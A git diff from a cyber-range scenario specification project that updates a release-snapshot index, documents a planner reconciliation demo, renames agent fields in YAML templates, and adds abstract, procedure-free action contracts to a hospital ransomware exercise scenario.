"analysis_sha256": "bd91e73d8ad4e0f5cc8a0130624c1c03b647302a79efaf337acf785351554788", + "bundle_id": "raes-standardized-specification-coverage", + "protocol_path": "docs/research/specification-coverage/protocol-v1.json", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "revision": "20.0.0", + "snapshot_path": "docs/research/specification-coverage/execution-snapshot-v20.json", + "snapshot_sha256": "9558fd7d994cd2f8d16d835d25791795b311dddd0aec32fab8d45e4eaf6eef7a" +} diff --git a/docs/research/specification-coverage/index.md b/docs/research/specification-coverage/index.md index 27ffea424..0ae53d6ae 100644 --- a/docs/research/specification-coverage/index.md +++ b/docs/research/specification-coverage/index.md @@ -87,20 +87,212 @@ this run does not repair them. classifications and denominator. - [`execution-snapshot-v15.json`](execution-snapshot-v15.json) and - [`analysis-v15.json`](analysis-v15.json) are current release 15.0.0. They + [`analysis-v15.json`](analysis-v15.json) preserve release 15.0.0. They bind the unconstrained realization-evidence source semantics to fresh source and package digests while retaining the protocol's bounded classifications, denominator, and claim limits. +- [`execution-snapshot-v16.json`](execution-snapshot-v16.json) and + [`analysis-v16.json`](analysis-v16.json) are prior release 16.0.0. They + bind EXP-732 run, apparatus, measurement-channel, and augmentation-producer + provenance validation to fresh source and package digests. Protocol replay + retains the bounded classifications, denominator, and claim limits; the + dedicated provenance regression suite does not broaden this corpus's claims. + +- [`execution-snapshot-v17.json`](execution-snapshot-v17.json) and + [`analysis-v17.json`](analysis-v17.json) preserve release 17.0.0. Fresh + replay binds the combined materialization-attestation and EXP-732 provenance + implementation to exact source and package digests. Classifications, the + denominator and claim limits are unchanged; dedicated regression tests cover + the operational-provenance boundary separately. + +- [`execution-snapshot-v18.json`](execution-snapshot-v18.json) and + [`analysis-v18.json`](analysis-v18.json) preserve release 18.0.0. Fresh + replay binds capture-proof authority integrated with apparatus provenance + and materialization attestations to exact source and package digests. + Classifications, the denominator, and claim limits remain unchanged. + +- [`execution-snapshot-v19.json`](execution-snapshot-v19.json) and + [`analysis-v19.json`](analysis-v19.json) preserve release 19.0.0. Fresh + replay binds the capture-dimension helper refactor to exact source and + package digests, preserving classifications, denominator, and claim limits. + +- [`execution-snapshot-v20.json`](execution-snapshot-v20.json) and + [`analysis-v20.json`](analysis-v20.json) preserve release 20.0.0. Fresh + replay binds the issue #959 correction of stale mandatory-profile guidance + in the limitations document. Runtime implementation, classifications, + denominator and claim limits are unchanged; earlier captures retain their + exact bytes. + +- [`execution-snapshot-v21.json`](execution-snapshot-v21.json) and + [`analysis-v21.json`](analysis-v21.json) preserve release 21.0.0. They + bind the integrated capture-proof authority, capture-dimension helpers, and + EXP-731 evidence-requirement refinement to exact source and package digests + while retaining the protocol's bounded classifications and claim limits. + +- [`execution-snapshot-v22.json`](execution-snapshot-v22.json) and + [`analysis-v22.json`](analysis-v22.json) preserve release 22.0.0. Fresh + replay binds open-by-default augmentation scope integrated with EXP-731 + evidence refinements to exact source and package digests. Passing-stage + pointers, classifications, denominator, and claim limits are retained. Native + backend scope enforcement is not evaluated by this corpus. + +- [`execution-snapshot-v23.json`](execution-snapshot-v23.json) and + [`analysis-v23.json`](analysis-v23.json) preserve release 23.0.0. Fresh + replay binds the augmentation-admission maintainability refactor to exact + source and package digests. Classifications, passing-stage pointers, and + claim limits remain unchanged; all earlier captures retain their exact bytes. + +- [`execution-snapshot-v24.json`](execution-snapshot-v24.json) and + [`analysis-v24.json`](analysis-v24.json) preserve release 24.0.0. Fresh + replay binds the tightened composition type annotations to exact source and + package digests. Outcomes, classifications, and claim limits are unchanged; + all previously published captures remain byte-exact. + +- [`execution-snapshot-v25.json`](execution-snapshot-v25.json) and + [`analysis-v25.json`](analysis-v25.json) preserve release 25.0.0. Fresh + replay binds ACT-612 participant relationships together with the integrated + augmentation scope work to exact source and package digests. Outcomes, + classifications, and claim limits remain unchanged; published captures remain + byte-exact. +- [`execution-snapshot-v26.json`](execution-snapshot-v26.json) and + [`analysis-v26.json`](analysis-v26.json) preserve release 26.0.0. Fresh + replay binds authoring-adapter conformance on the merged participant- + relationship and augmentation source tree to exact source and package + digests. Classifications and claim limits remain unchanged; adapter transport + behavior is not evaluated by this corpus. +- [`execution-snapshot-v27.json`](execution-snapshot-v27.json) and + [`analysis-v27.json`](analysis-v27.json) preserve release 27.0.0. Fresh + replay binds issue #1299 partial runtime listener descriptions on the + integrated authoring-adapter source state to exact source and package + digests. Outcomes, classifications, and claim limits are unchanged; endpoint + completeness, backend admission, and adapter transport behavior are not new + claims. + +- [`execution-snapshot-v28.json`](execution-snapshot-v28.json) and + [`analysis-v28.json`](analysis-v28.json) preserve release 28.0.0. They + bind the issue #1223 reviewed OCI mirror and pre-seed admission boundary to + exact source and package digests; classifications, denominator and claim + limits are unchanged and earlier captures retain their exact bytes. + +- [`execution-snapshot-v29.json`](execution-snapshot-v29.json) and + [`analysis-v29.json`](analysis-v29.json) are current release 29.0.0. Fresh + replay binds issue #1297's portable service-manager identity, exact native + names, and selected systemd-state contract to the integrated source. The + corpus exercises no live service manager, and classifications and claim + limits remain unchanged. + +- [`execution-snapshot-v30.json`](execution-snapshot-v30.json) and + [`analysis-v30.json`](analysis-v30.json) preserve release 30.0.0. Fresh + replay binds the API-404 operational recovery-observation contract to exact + source and package digests. Classifications and claim limits remain + unchanged; crash recovery and EXP-715 experiment observation are not + evaluated by this corpus. + +- [`execution-snapshot-v31.json`](execution-snapshot-v31.json) and + [`analysis-v31.json`](analysis-v31.json) preserve release 31.0.0. Fresh + replay binds API-404 CP-5 single-owner admission, immutable target/run scope, + and lifecycle changes to exact source and package digests. The retained + language corpus does not evaluate process leases, SQLite ordering, or crash + recovery, and its classifications and claim limits remain unchanged. + +- [`execution-snapshot-v32.json`](execution-snapshot-v32.json) and + [`analysis-v32.json`](analysis-v32.json) preserve release 32.0.0. Fresh + replay binds issue #1015 deterministic mixed/staged trial admission and its + exact plan/compiler identities to current source. The retained language + corpus does not execute mixed runtimes, phase transitions, backend handoff, + or scheduler-driven realization; classifications and claim limits remain + unchanged. + +- [`execution-snapshot-v33.json`](execution-snapshot-v33.json) and + [`analysis-v33.json`](analysis-v33.json) preserve release 33.0.0. Replay + binds issue #1186 maintenance, health, and audit source to the current + reference implementation. The retained language corpus does not execute + those operator paths; classifications and claim limits remain unchanged. + +- [`execution-snapshot-v34.json`](execution-snapshot-v34.json) and + [`analysis-v34.json`](analysis-v34.json) preserve release 34.0.0. Fresh + replay binds issue #1187 control-plane conformance and exception-redaction + source. The retained language corpus does not execute crash/profile + conformance; classifications and claim limits remain unchanged. + +- [`execution-snapshot-v35.json`](execution-snapshot-v35.json) and + [`analysis-v35.json`](analysis-v35.json) preserve release 35.0.0. Fresh + replay binds issue #1189 profile declarations to the exact source state. + The retained language corpus does not execute profile composition; + classifications and claim limits remain unchanged. + +Release 36.0.0 is retained in +[`execution-snapshot-v36.json`](execution-snapshot-v36.json) and +[`analysis-v36.json`](analysis-v36.json). It replays the bounded language +corpus against issue #1072's participant-control contract source. It does not +execute control providers or establish runtime effect realization; the +classifications and claim limits remain unchanged. + +Earlier issue-1242 captures remain byte-exact in feature commits +`77187a939a9872e5bd2fd93816f1fcd5ef6c5c08` (release 20) and +`1ab0580525136667bbc713d3c2f4a7820bab08da` (release 21). Their manifests +remain outside the active index at +`historical-artifacts/issue-1242-pre-sync-release-v20.json` and +`historical-artifacts/issue-1242-pre-refinement-sync-release-v21.json`. +Those paths and hashes describe files at the named commits, not the current +checkout. Incoming published captures retain their exact bytes. + +Earlier issue-1237 captures remain in feature commits +`2d402e4ae922b59d399dbfc336cc2856d153c44a` (release 15), +`2b21b5c88fc60c4545a302f4071cf8b781f04fe3` (release 16), and +`c75805c56330d402a52bd7a578785bb343bf3c30` (release 17). Their manifests +remain outside the active index at +`historical-artifacts/issue-1237-pre-sync-release-v15.json`, +`historical-artifacts/issue-1237-pre-provenance-sync-release-v16.json`, and +`historical-artifacts/issue-1237-pre-materialization-sync-release-v17.json`. +Those paths and hashes describe files at the named commits, not the current +checkout. Incoming published captures retain their exact bytes. + Historical captures are checked for closed shapes, frozen analysis joins, and -exact archived source bytes, without executing current code. The ten source +exact archived source bytes, without executing current code. The eleven source archives in `historical-artifacts/` are content-addressed JSON envelopes with base64-encoded original bytes and the Git revision from which those bytes were recovered. Recovery revisions are not substituted for the capture's declared revision; a matching archive proves the frozen byte pin, not the historical working-tree provenance. No network or Git history is required for validation. -Current validation requires release 15.0.0 and rejects duplicate or unsupported +Release 37.0.0 is retained in +[`execution-snapshot-v37.json`](execution-snapshot-v37.json) and +[`analysis-v37.json`](analysis-v37.json). It repeats the bounded replay after +the participant-control validator decomposition and type annotations, with +unchanged classifications and claim limits. + +Release 38.0.0 is retained in +[`execution-snapshot-v38.json`](execution-snapshot-v38.json) and +[`analysis-v38.json`](analysis-v38.json). It binds issue #1016 mixed-runtime +coordination to the current source state without treating the retained language +corpus as mixed-provider execution, backend-native realization, +interoperability, information-flow, or equivalence evidence. + +Release 39.0.0 is retained in +[`execution-snapshot-v39.json`](execution-snapshot-v39.json) and +[`analysis-v39.json`](analysis-v39.json). It binds issue #610's reconciliation +demonstration harness to the current source state. The retained language corpus +does not execute planner reconciliation; classifications and claim limits +remain unchanged. + +Release 40.0.0 is retained in +[`execution-snapshot-v40.json`](execution-snapshot-v40.json) and +[`analysis-v40.json`](analysis-v40.json). It binds issue #1069's modular +participant-control runtime orchestration to the current source state. The +preregistered concept matrix, classifications and missing-concept denominator +remain unchanged; runtime orchestration is evidenced by its own tests. + +Current release 41.0.0 is retained in +[`execution-snapshot-v41.json`](execution-snapshot-v41.json) and +[`analysis-v41.json`](analysis-v41.json). It replays the migrated participant +and objective declarations, including explicit abstract action contracts in +the port scenario. Historical captures and archived example bytes are retained. +The matrix classifications and untested concepts are unchanged; no execution +authority, successful action, or live backend fidelity is inferred. + +Current validation requires release 66.0.0 and rejects duplicate or unsupported future revisions. It executes current artifacts, requires exact source and package hashes, and checks all passing stage pointers. `source_state` discloses the base Git commit, modified checkout state, and exact implementation digest; @@ -169,3 +361,156 @@ denominator. This retest does not preregister or demonstrate classification-migration correctness, nor does it infer ecosystem-wide absence of capabilities from the three untested carrier slots. + +## Participant-local outcome source replay + +Release 42.0.0 records issue #218 in +[`execution-snapshot-v42.json`](execution-snapshot-v42.json) and +[`analysis-v42.json`](analysis-v42.json). The retained controls are replayed +against the participant-local outcome implementation. Prior outcomes and claim +limits remain unchanged; ACT-618 behavior is verified by its dedicated runtime +tests. Earlier captures retain their original bytes. + +Release 43.0.0 records the outcome implementation after maintainability +refactoring in [`execution-snapshot-v43.json`](execution-snapshot-v43.json) and +[`analysis-v43.json`](analysis-v43.json). Fresh replay retains the same bounded +outcomes and claim limits; it does not add a new semantic claim. + +Release 44.0.0 records the merged participant identity and local +outcome implementation in [`execution-snapshot-v44.json`](execution-snapshot-v44.json) +and [`analysis-v44.json`](analysis-v44.json). The two pre-merge issue #218 +captures retain their observations and source identities in v42 and v43; only +their release numbers, paths, and corresponding digest joins were reconciled +with the independently published issue #1338 capture. The combined capture +uses the issue #1338 baseline and preserves the same bounded claim limits. + +Release 45.0.0 records issue #1357's governed v2 decision admission in +[`execution-snapshot-v45.json`](execution-snapshot-v45.json) and +[`analysis-v45.json`](analysis-v45.json). Its original bytes and source identity +are retained. Participant crossing authorization is exercised by dedicated +runtime tests, outside this offline specification corpus. + +Release 46.0.0 records issue #1358's egress outcome implementation and governed +projection replay refactor in [`execution-snapshot-v46.json`](execution-snapshot-v46.json) +and [`analysis-v46.json`](analysis-v46.json). The earlier issue #1358 capture, +which collided with the independently published release 45.0.0, remains in +feature commit `c54060dd591f4c09dda49be7a5b04fde83efe02e` rather than the +release index. Its observations are not relabeled as combined-source evidence. + +Release 47.0.0 replays the same controls against the merged source in +[`execution-snapshot-v47.json`](execution-snapshot-v47.json) and +[`analysis-v47.json`](analysis-v47.json). Classifications and claim limits +remain unchanged; egress denial and governed admission are verified by their +dedicated runtime tests. + +## Backend operation contract source replay + +Release 48.0.0 binds issue #1360 to fresh source evidence in +[`execution-snapshot-v48.json`](execution-snapshot-v48.json) and +[`analysis-v48.json`](analysis-v48.json). The retained offline cases preserve +their classifications and claim limits. Backend supervision contracts have +dedicated contract tests; this capture makes no live backend recovery claim. +Earlier published captures retain their exact bytes. + +Release 49.0.0 binds the reference-backend opt-in correction to +[`execution-snapshot-v49.json`](execution-snapshot-v49.json) and +[`analysis-v49.json`](analysis-v49.json). The retained claims and +classifications are unchanged. + +Release 50.0.0 binds the operation validator maintainability changes to +[`execution-snapshot-v50.json`](execution-snapshot-v50.json) and +[`analysis-v50.json`](analysis-v50.json). The retained claims and +classifications are unchanged. + +Release 51.0.0 replays the retained protocol on the merged source in +[`execution-snapshot-v51.json`](execution-snapshot-v51.json) and +[`analysis-v51.json`](analysis-v51.json). Earlier captures retain their source identities. + +Release 52.0.0 replays the retained protocol on the source combining issue +#1360 backend-operation contracts with issue #1358 denied-egress handling in +[`execution-snapshot-v52.json`](execution-snapshot-v52.json) and +[`analysis-v52.json`](analysis-v52.json). Earlier captures retain their source identities. + +Release 53.0.0 replays the retained offline protocol against issue #1355's +mixed mapping, time, and handoff implementation in +[`execution-snapshot-v53.json`](execution-snapshot-v53.json) and +[`analysis-v53.json`](analysis-v53.json). Mixed runtime effects and recovery +remain covered by dedicated runtime tests, outside this language corpus. + +Release 54.0.0 replays the retained matrix after issue #1389 admitted the exact +participant inject delivery address as a temporal subject. The classifications +and claim limits remain unchanged; participant delivery timing is verified by +its dedicated compiler tests in +[`execution-snapshot-v54.json`](execution-snapshot-v54.json) and +[`analysis-v54.json`](analysis-v54.json). + +Release 55.0.0 replays the retained protocol on the source that adds issue +#1361 trial execution-authority admission, in +[`execution-snapshot-v55.json`](execution-snapshot-v55.json) and +[`analysis-v55.json`](analysis-v55.json). Classifications and claim limits are +unchanged. The derived backend guarantees and their admission have dedicated +contract and compiler tests; this capture makes no live backend recovery claim. + +Release 56.0.0 replays that matrix against the API-424 v2 contract refactor in +[`execution-snapshot-v56.json`](execution-snapshot-v56.json) and +[`analysis-v56.json`](analysis-v56.json). Classifications and claim limits remain +unchanged; provider installation and effect realization remain outside this +offline matrix. + +Release 57.0.0 replays that matrix against the API-424 contract quality-gate +refactor in [`execution-snapshot-v57.json`](execution-snapshot-v57.json) and +[`analysis-v57.json`](analysis-v57.json). Classifications and claim limits remain +unchanged; provider installation and effect realization remain outside this +offline matrix. + +Release 58.0.0 replays the merged issue #1361 and API-424 source in +[`execution-snapshot-v58.json`](execution-snapshot-v58.json) and +[`analysis-v58.json`](analysis-v58.json). Classifications and claim limits remain +unchanged; provider installation and effect realization remain outside this +offline matrix. + +Release 59.0.0 replays the retained matrix after issue #1400 reverted the trial +execution-authority admission from #1361. It binds the post-revert API-424 source +in [`execution-snapshot-v59.json`](execution-snapshot-v59.json) and +[`analysis-v59.json`](analysis-v59.json). Classifications and claim limits remain +unchanged; the earlier source captures remain historical. + +Releases 60.0.0 and 61.0.0 preserve the two issue #971 captures previously +numbered 55.0.0 and 56.0.0 on its feature branch. Their source identities, +snapshot identifiers, classifications, and claim limits are retained in +[execution-snapshot-v60.json](execution-snapshot-v60.json) and +[execution-snapshot-v61.json](execution-snapshot-v61.json). Only release +coordinates and the corresponding artifact joins changed. Integrated releases +55.0.0–59.0.0 retain their original artifacts. + +Release 62.0.0 replays the retained matrix against the merged issue #971 +crossing models and API-424 control contracts in +[execution-snapshot-v62.json](execution-snapshot-v62.json) and +[analysis-v62.json](analysis-v62.json). Classifications and claim limits remain +unchanged; this is no participant-crossing equivalence or runtime-realization +result. + +Release 63.0.0 repeats the retained matrix after the locked PyJWT dependency +upgrade to 2.14.0 in [execution-snapshot-v63.json](execution-snapshot-v63.json) +and [analysis-v63.json](analysis-v63.json). Classifications and claim limits +remain unchanged. + +Release 64.0.0 replays the retained matrix after issue #1359 enforced the +administrative-only runtime control-plane boundary. The classifications and +claim limits remain unchanged; route authority, participant-view scoping, and +the no-store HTTP boundary are verified by their dedicated suite in +[`execution-snapshot-v64.json`](execution-snapshot-v64.json) and +[`analysis-v64.json`](analysis-v64.json). + +Release 65.0.0 repeats the retained matrix after the locked PyJWT dependency +upgrade to 2.15.1 and the urllib3 upgrade to 2.8.0 in +[`execution-snapshot-v65.json`](execution-snapshot-v65.json) and +[`analysis-v65.json`](analysis-v65.json). Classifications and claim limits +remain unchanged. + +Release 66.0.0 replays the retained matrix after issue #1401 began rejecting +required evidence whose declared media type the output registry cannot prove. +Classifications and claim limits remain unchanged; media-type coherence is +verified by its dedicated suite in +[`execution-snapshot-v66.json`](execution-snapshot-v66.json) and +[`analysis-v66.json`](analysis-v66.json). diff --git a/examples/README.md b/examples/README.md index f8ee13241..0476fd11c 100644 --- a/examples/README.md +++ b/examples/README.md @@ -24,11 +24,45 @@ backends, and evidence requirements. | [`scenarios/initial-service-state.sdl.yaml`](scenarios/initial-service-state.sdl.yaml) | Provider-neutral service-owned initial content | Disk-backed semantic validation of exact service binding, operation requirements, readback evidence, and participant projection | No current backend claims the `service-content-v1` materialization profile | | [`scenarios/techvault-bounded-native.sdl.yaml`](scenarios/techvault-bounded-native.sdl.yaml) | Bounded TechVault libvirt VM/network substrate with explicit resources and network policy | Native driver exactness/readback tests and opt-in real-libvirt cleanup certification | Deliberately excludes guest images, placements, services, ACLs, readiness, applications, and SOC claims | | [`scenarios/cross-backend-minimal.sdl.yaml`](scenarios/cross-backend-minimal.sdl.yaml) | Smallest scenario resolving inside more than one provisioning backend's realization envelope | Hermetic admission and apply on the reference in-process and recording-libvirt configurations, with resource correspondence and different bound substrate disclosures asserted | Does not exercise an OCI runtime or live libvirt/QEMU daemon and makes no infrastructure-equivalence or fidelity claim | +| [`scenarios/reconciliation-demo-v1.sdl.yaml`](scenarios/reconciliation-demo-v1.sdl.yaml) | Baseline version of the reconciliation demonstration pair | Planner reconciliation across scenario versions, exercised end to end through `raes processor reconcile` | Plans only; the projected snapshot is assumed state, never backend readback or proof of realization | +| [`scenarios/reconciliation-demo-v2.sdl.yaml`](scenarios/reconciliation-demo-v2.sdl.yaml) | Modified version that creates, updates, deletes, and leaves resources unchanged in one plan | Exact `create`/`update`/`delete`/`unchanged` outcomes across provisioning, orchestration, and evaluation | Same limits as the baseline; the pair demonstrates planner behavior, not a deployable environment | The corpus tests are in [`../implementations/python/tests/test_scenarios.py`](../implementations/python/tests/test_scenarios.py), with the focused cross-backend checks in -[`../implementations/python/tests/test_cross_backend_minimal_scenario.py`](../implementations/python/tests/test_cross_backend_minimal_scenario.py). +[`../implementations/python/tests/test_cross_backend_minimal_scenario.py`](../implementations/python/tests/test_cross_backend_minimal_scenario.py) +and the reconciliation-pair checks in +[`../implementations/python/tests/test_reconciliation_demonstration.py`](../implementations/python/tests/test_reconciliation_demonstration.py). + +## Reconciliation Demonstration + +The `reconciliation-demo-v1` / `reconciliation-demo-v2` pair makes the +processor's reconciliation behavior directly observable. From the repository +root: + +```shell +uv run --project implementations/python --frozen raes processor reconcile \ + examples/scenarios/reconciliation-demo-v1.sdl.yaml \ + examples/scenarios/reconciliation-demo-v2.sdl.yaml \ + --format json +``` + +The command plans v1 against the reference dry-run manifest, projects that +plan into a snapshot, plans v2 against the snapshot, and prints every +resulting action. Against the baseline's planned state, v2 creates +`provision.node.cache`, updates `provision.node.database`, deletes +`provision.node.retired`, and leaves the rest unchanged. +`evaluation.condition.database.health` also updates even though its own +payload is unchanged, because it refresh-depends on the database node -- the +case a payload comparison gets wrong. + +Both files are import-free and declare nothing that regenerates per run or per +instantiation, so the demonstration is offline and deterministic. The projected +snapshot is synthetic assumed state: it is not backend readback, a durable +checkpoint, or evidence that anything was realized, and the command applies, +provisions, and starts nothing. The report summarizes resource identity and +dependencies and deliberately omits resource payloads, which can carry authored +credentials and content. ## Template And Pattern Library diff --git a/examples/library/templates/participant_behavior/action-contract-observation-boundary.yaml b/examples/library/templates/participant_behavior/action-contract-observation-boundary.yaml index 695a02079..4fff4ac49 100644 --- a/examples/library/templates/participant_behavior/action-contract-observation-boundary.yaml +++ b/examples/library/templates/participant_behavior/action-contract-observation-boundary.yaml @@ -113,7 +113,7 @@ body: latency_profile: terminal observation latency agents: red-agent: - entity: red-team + affiliations: [red-team] actions: [scan] observation_boundaries: [red-view] behavior_specifications: diff --git a/examples/library/templates/run/timed-run-control.yaml b/examples/library/templates/run/timed-run-control.yaml index 3532e37f6..8c3828c1e 100644 --- a/examples/library/templates/run/timed-run-control.yaml +++ b/examples/library/templates/run/timed-run-control.yaml @@ -44,7 +44,7 @@ body: role: blue agents: run-operator: - entity: operator-team + affiliations: [operator-team] propositions: telemetry-ready: description: The governed telemetry-ready observation is true for the addressed scenario subject. @@ -84,7 +84,7 @@ body: loss_disclosure: required objectives: observe-run-telemetry: - agent: run-operator + assigned_participant: run-operator targets: [nodes.service.services.https] success: assertions: [telemetry-ready] diff --git a/examples/library/templates/scenario/minimal-validated-scenario.yaml b/examples/library/templates/scenario/minimal-validated-scenario.yaml index 4dd1f4ef5..31110cc06 100644 --- a/examples/library/templates/scenario/minimal-validated-scenario.yaml +++ b/examples/library/templates/scenario/minimal-validated-scenario.yaml @@ -27,7 +27,7 @@ body: role: blue agents: operator: - entity: blue-team + affiliations: [blue-team] propositions: app-healthy: description: The governed app-healthy observation is true for the addressed scenario subject. @@ -63,7 +63,7 @@ body: loss_disclosure: required objectives: verify-app-health: - agent: operator + assigned_participant: operator targets: [nodes.app.services.https] success: assertions: [app-healthy] diff --git a/examples/library/templates/study/observational-study-protocol.yaml b/examples/library/templates/study/observational-study-protocol.yaml index 950ab85b5..87786bb37 100644 --- a/examples/library/templates/study/observational-study-protocol.yaml +++ b/examples/library/templates/study/observational-study-protocol.yaml @@ -26,7 +26,7 @@ body: role: blue agents: study-participant: - entity: participant-team + affiliations: [participant-team] propositions: study-task-success: description: The governed study-task-success observation is true for the addressed scenario subject. @@ -62,7 +62,7 @@ body: loss_disclosure: required objectives: complete-study-task: - agent: study-participant + assigned_participant: study-participant targets: [nodes.study-target.services.https] success: assertions: [study-task-success] diff --git a/examples/library/templates/task/single-objective-task.yaml b/examples/library/templates/task/single-objective-task.yaml index 6cae2b152..5ed8bc93a 100644 --- a/examples/library/templates/task/single-objective-task.yaml +++ b/examples/library/templates/task/single-objective-task.yaml @@ -26,7 +26,7 @@ body: role: blue agents: task-agent: - entity: participant + affiliations: [participant] propositions: task-complete: description: The governed task-complete observation is true for the addressed scenario subject. @@ -62,7 +62,7 @@ body: loss_disclosure: required objectives: complete-service-check-task: - agent: task-agent + assigned_participant: task-agent targets: [nodes.target.services.ssh] success: assertions: [task-complete] diff --git a/examples/library/templates/workflow/parallel-objective-workflow.yaml b/examples/library/templates/workflow/parallel-objective-workflow.yaml index d2f04d76c..ed8485270 100644 --- a/examples/library/templates/workflow/parallel-objective-workflow.yaml +++ b/examples/library/templates/workflow/parallel-objective-workflow.yaml @@ -30,7 +30,7 @@ body: role: blue agents: operator: - entity: blue-team + affiliations: [blue-team] propositions: patch-applied: description: The governed patch-applied observation is true for the addressed scenario subject. @@ -83,12 +83,12 @@ body: loss_disclosure: required objectives: apply-patch: - agent: operator + assigned_participant: operator targets: [nodes.service] success: assertions: [patch-applied] verify-service: - agent: operator + assigned_participant: operator targets: [nodes.service.services.https] success: assertions: [service-verified] diff --git a/examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml b/examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml index aefa6add1..5667e9e0c 100644 --- a/examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml +++ b/examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml @@ -522,7 +522,7 @@ outcome_interpretation_rules: agents: participant-agent: - entity: enterprise-participant + affiliations: [enterprise-participant] description: > Authored participant whose concrete coding-agent runner is selected by downstream participant implementation provenance. @@ -658,7 +658,7 @@ objectives: # experiment/evaluator plane (experiment-* contracts) per ADR-073. The SDL # objective asserts only observable success via conditions. demonstrate-handoff: - agent: participant-agent + assigned_participant: participant-agent actions: [probe-customer-portal-login] targets: - nodes.customer-portal.services.http diff --git a/examples/scenarios/hospital-ransomware-surgery-day.sdl.yaml b/examples/scenarios/hospital-ransomware-surgery-day.sdl.yaml index 2c38f1057..1154c2251 100644 --- a/examples/scenarios/hospital-ransomware-surgery-day.sdl.yaml +++ b/examples/scenarios/hospital-ransomware-surgery-day.sdl.yaml @@ -1179,14 +1179,381 @@ relationships: type: manages source: immutable-backup target: ehr-db +# Abstract action intent; backend realization and authorization remain separate. +action_contracts: + abuse-vpn: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared AbuseVPN intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt AbuseVPN against the scenario-declared subject set. + target_refs: + - exchange01 + - infrastructure.corp-it.acls.allow-vendor-support + - nodes.vpn-gateway.services.vpn-portal + - vpn-gateway + - vpn-vendor-support-path + failure_classes: + - authority_denied + - target_unavailable + - unknown + contain: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Contain intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Contain against the scenario-declared subject set. + target_refs: + - backup-manages-ehr + - backup-vault + - ehr-db + - pacs01 + failure_classes: + - authority_denied + - target_unavailable + - unknown + disable: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Disable intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Disable against the scenario-declared subject set. + target_refs: + - ehr-db + - ehr-frontend + - pacs01 + failure_classes: + - authority_denied + - target_unavailable + - unknown + discover: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Discover intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Discover against the scenario-declared subject set. + target_refs: + - mail-gateway + - vendor-jump + - vpn-gateway + failure_classes: + - authority_denied + - target_unavailable + - unknown + encrypt: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Encrypt intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Encrypt against the scenario-declared subject set. + target_refs: + - ehr-db + - ehr-frontend + - pacs01 + failure_classes: + - authority_denied + - target_unavailable + - unknown + escalate: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Escalate intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Escalate against the scenario-declared subject set. + target_refs: + - infrastructure.corp-it.acls.allow-vendor-support + - mail-gateway + - nodes.vpn-gateway.services.vpn-portal + - siem01 + - vpn-gateway + failure_classes: + - authority_denied + - target_unavailable + - unknown + exfiltrate: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Exfiltrate intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Exfiltrate against the scenario-declared subject set. + target_refs: + - ehr-db + - ehr-to-database + - phi-records + failure_classes: + - authority_denied + - target_unavailable + - unknown + inspect: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Inspect intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Inspect against the scenario-declared subject set. + target_refs: + - infrastructure.corp-it.acls.allow-vendor-support + - mail-gateway + - nodes.vpn-gateway.services.vpn-portal + - siem01 + - vpn-gateway + failure_classes: + - authority_denied + - target_unavailable + - unknown + isolate: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Isolate intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Isolate against the scenario-declared subject set. + target_refs: + - mail-gateway + - siem01 + - vpn-gateway + failure_classes: + - authority_denied + - target_unavailable + - unknown + phish: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Phish intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Phish against the scenario-declared subject set. + target_refs: + - exchange01 + - infrastructure.corp-it.acls.allow-vendor-support + - 